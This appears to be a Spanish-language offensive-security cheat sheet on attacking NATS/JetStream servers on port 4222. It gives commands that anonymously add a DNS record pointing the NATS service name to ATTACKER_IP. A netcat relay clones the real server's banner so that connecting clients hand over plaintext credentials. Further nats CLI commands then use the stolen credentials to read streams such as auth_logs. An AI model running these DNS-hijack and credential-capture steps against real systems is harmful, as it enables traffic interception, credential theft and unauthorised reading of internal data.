Skip to content

4222 - NATS & JetStream

#nats #dns #enumeration

bash
go install github.com/nats-io/natscli/nats@latest

Si tenemos suerte, podemos cambiar los registros DNS del dominio de forma anónima (normalmente necesitaríamos una credencial de mínimo privilegio)

bash
nsupdate
> server DC_IP
> update add nats-svc.domain.local 60 A ATTACKER_IP
> send

Podemos hacer un servidor falso que clone el original. Un cliente cualquiera que se conecte solo verificará la cabecera antes de enviar las credenciales, las veremos en texto plano.

bash
nc REAL_NATS 4222 | head -1 | nc -lnvp 4222

Guardar creds

nats context add example -s nats://DC01 --user USER --password 'PASS'
bash
nats account info --context example      # quotas, stream count, expiration
nats stream list --context example       # names + message totals
nats stream info auth_logs --context example
nats stream view auth_logs --context example

Notas personales de seguridad ofensiva.